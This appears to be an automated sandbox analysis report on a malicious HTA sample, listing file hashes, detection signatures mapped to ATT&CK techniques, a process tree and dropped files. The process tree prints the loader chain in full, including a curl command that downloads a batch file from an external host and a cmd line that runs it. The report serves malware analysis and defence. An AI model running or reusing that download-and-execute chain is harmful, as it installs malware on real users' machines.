a9478ccdac686875a231aa06560904eb1b0a715e0bdcc961a22bf3aef16f92ac

Analysis

max time kernel
148s
max time network
127s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
29/10/2026, 18:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
sample.hta
Size 14KB
Sample261029-wtvk8a1xev
SHA256 a9478ccdac686875a231aa06560904eb1b0a715e0bdcc961a22bf3aef16f92ac
MD5 c4d37245dc9dff8fd1f702574de849ce
SHA1 459dfb761542999a9f4e1e52ff162af6cdf98a63
SHA512 795826805ffdaea1641307e2a4aaaa3b8d229147853e88824a3e4bc8a18e15b1c3f5f49b7ea67b4f5ffece02fa2a98b2ab21dc203ca993f348406b1bf1636c43
SSDEEP 384:XEW2mI3mubT1aj92Zd+6L23jU0xVeIXypHjQsTY528j4PK4VlTN8Wvy1LVNxxMyS:XEW2mIWubVTmL/zr9ncQVS
TLSH
T1945266D81688E997F58D66A3FF0139ECF65E7CA728ECA547C3403588146D21BC5A0EF1
MD5 SHA1 SHA512 SSDEEP TLSH

Score

3^/10

discovery execution

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1456	cmd.exe
4560	cmd.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3468	5372	WerFault.exe	87

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 5372 wrote to memory of 1456	5372	mshta.exe	91
PID 1456 wrote to memory of 4520	1456	cmd.exe	93
PID 1456 wrote to memory of 4560	1456	cmd.exe	95

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	5	curl/8.8.0

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\sample.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5372
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\Searches\vars.bat"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1456
- - C:\Windows\SysWOW64\curl.exe
    curl -L "https://15972cf.xyz/api/v1/hosted?id=80141165ede81dec7b3eb0c7&password=3CT07wpDMzevfrhA" -o "C:\Users\Admin\var.bat"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4520
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c "C:\Users\Admin\var.bat"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4560
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 5372 -s 1560
  2⤵
  - Program crash
  PID:3468

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 5372 -ip 5372
1⤵
PID:5540

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

YEFyhKts.js

Path C:\Users\Admin\AppData\Local\Temp\YEFyhKts.js
Size 1KB
SHA256 e17b4a1eec6205d65e3e1cbabc829b4e27feba3091b469656b285e889313606f
MD5 e950fe62912ded381de47bbd8f61f2c8
SHA1 0872ab712cff401f5540294d0194019646f724e7
SHA512 a6fb19e00410e045d548bf13f7cd80a51a067037cd8efbbf99275a2f33a6ef63eb8b4a4d71497a6c21386c147ff28f2570855ac4ac4e8a142a57768d095b8b19
TLSH
T1C81102A13163F6E6808072D23D9DC64251E80E811401DBF26D68FBC6B707A9DABF986D
MD5 SHA1 SHA512 TLSH

Submit Download

YEFyhKts.js

Path C:\Users\Admin\AppData\Local\Temp\YEFyhKts.js
Size 4KB
SHA256 9379440da752869b9d3f64c1fa985b49e46e966a0332f5056692f1457f8a0637
MD5 6aaaee36b7b973f1577a8d4acaae3b69
SHA1 c3d1f37dd9fa6b369340420a5cba1fb6ac3af36f
SHA512 2b4172fbd87e97236182f358d83400355559a93ea30fed74afd3f90a235a2399e197c5d75ee48de97633fcdffb12a3030fb8c014b1349effdec0ffbb0aab10bf
SSDEEP 96:zXQktaGTcqjU0QD1f1vDC54Z0VvgARqrNUNEafJTGuF2+x0l6c0Z:LQYmLve6Z0Vv0NUNEaf9/0NW
TLSH
T198A132253D29DBAD005121223C6E8570D3F203A3ABF0CC21A768EE8AF95D46F13B6257
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vars.bat

Path C:\Users\Admin\Searches\vars.bat
Size 162B
SHA256 42e32c1a2349e8d1e076706c3ca6bf08d4e60ceb4e16bebb579222c3259dd944
MD5 f38b02042fe3d480ca4f9cc2927d9f6b
SHA1 eeb7b075daa2161410ce2630244f138798e9f536
SHA512 16b0a24a278d73ff8b3e7e7e1d9d707c7b913666dab1a1ccd69e53369de767d4c1023091fad11441c8e21f765dde5a7d09fa957d8cd7d86512d6ed1209f1c466
TLSH
T108C0804B81B7505590C542F192195884F4235017FA85259073FCC704AE71F113B65853
MD5 SHA1 SHA512 TLSH

Submit Download

var.bat

Path C:\Users\Admin\var.bat
Size 1.1MB
SHA256 e9cce1da714da1c74a4b7b7e28d4b6033e809a947a154cd0c0dd54567963e44d
MD5 741925f5a9f36b3d084352a58b422f4a
SHA1 abe0c69e5a4ec44ed8c8ceaa760bbd84db9f299d
SHA512 e2f7bea1d5c068627f27212e98ef9c77e2bb6d317253b8bac1b77c2ef76ecbfe926b3c353b3827be5831a42b91c728bee735d41a56322f2b0b3a7eb13ff7896c
SSDEEP 24576:D0cRIancX3gsj2us5pgHxMP8R1KVcaDD8:paXQ6epa
TLSH
T11D4502F07D041BAC73FAE11FB2A605131B3156262A36A8AB7BC079C75B25701C9BDD27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads